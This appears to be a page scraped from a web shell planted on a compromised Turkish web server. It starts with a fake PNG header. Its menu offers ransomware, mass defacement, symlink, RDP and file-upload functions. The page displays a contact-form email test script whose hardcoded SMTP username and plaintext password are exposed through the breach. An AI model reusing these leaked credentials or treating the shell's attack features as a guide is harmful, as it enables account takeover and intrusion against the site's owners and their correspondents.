\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShieldv1/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShieldv1/fix_contact_emails.py


import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import datetime
import time

def send_email_direct(from_email, to_email, subject, body):
    # SMTP server settings
    server = 'mail.hepsibulutta.com'
    port = 587
    user = 'yedekle24@hepsibulutta.com'
    password = 'ooka5asd2mas2el1ai0eeC222'
    
    # Create message
    msg = MIMEMultipart()
    msg['From'] = from_email
    msg['To'] = to_email
    msg['Subject'] = subject
    msg.attach(MIMEText(body, 'plain'))
    
    # Debug output
    print(f"Connecting to SMTP server: {server}:{port}")
    print(f"Using credentials: {user}")
    print(f"From: {from_email}")
    print(f"To: {to_email}")
    
    try:
        # Create secure connection
        context = ssl.create_default_context()
        
        # Connect to server
        with smtplib.SMTP(server, port, timeout=30) as smtp:
            print("Connected to server")
            smtp.ehlo()
            print("EHLO successful")
            
            smtp.starttls(context=context)
            print("TLS started")
            
            smtp.ehlo()  # Re-identify after TLS
            print("EHLO after TLS successful")
            
            smtp.login(user, password)
            print("Login successful")
            
            print("Attempting to send email...")
            smtp.send_message(msg)
            print("Email sent successfully!")
            return True
            
    except Exception as e:
        print(f"Error: {e}")
        return False

def test_contact_form_email():
    from_email = 'yedekle24@hepsibulutta.com'
    recipients = [
        'gokhana@ofisbulutta.com',
        'arsiv@arsiv.ofisbulutta.tr'
    ]
    
    name = "Test Kullanıcı"
    email = "test@example.com"
    subject = "İletişim Formu Testi"
    message = "Bu bir test mesajıdır. İletişim formu gönderim testi."
    
    # Dinamik değerler
    current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    
    # Create message body
    body = f"""
İletişim Formu Mesajı:

Ad Soyad: {name}
E-posta: {email}
Konu: {subject}

Mesaj:
{message}

---
Bu bir test e-postasıdır.
Tarih/Saat: {current_time}
    """
    
    for i, to_email in enumerate(recipients):
        print(f"\n{'='*60}")
        print(f"Attempting to email recipient {i+1}/{len(recipients)}: {to_email}")
        print(f"{'='*60}\n")
        
        # First recipient, or if there was a delay between recipients
        success = send_email_direct(from_email, to_email, f"YedekleDB24 İletişim Formu: {subject}", body)
        
        if success:
            print(f"✓ Successfully sent email to {to_email}")
        else:
            print(f"✗ Failed to send email to {to_email}")
        
        # Add pause between recipients (only if there are more recipients to process)
        if i < len(recipients) - 1:
            print(f"Pausing for 5 seconds before next recipient...")
            time.sleep(5)

if __name__ == "__main__":
    print("Testing contact form email functionality...")
    test_contact_form_email()
    print("\nTest completed!")

© KUJUNTI.ID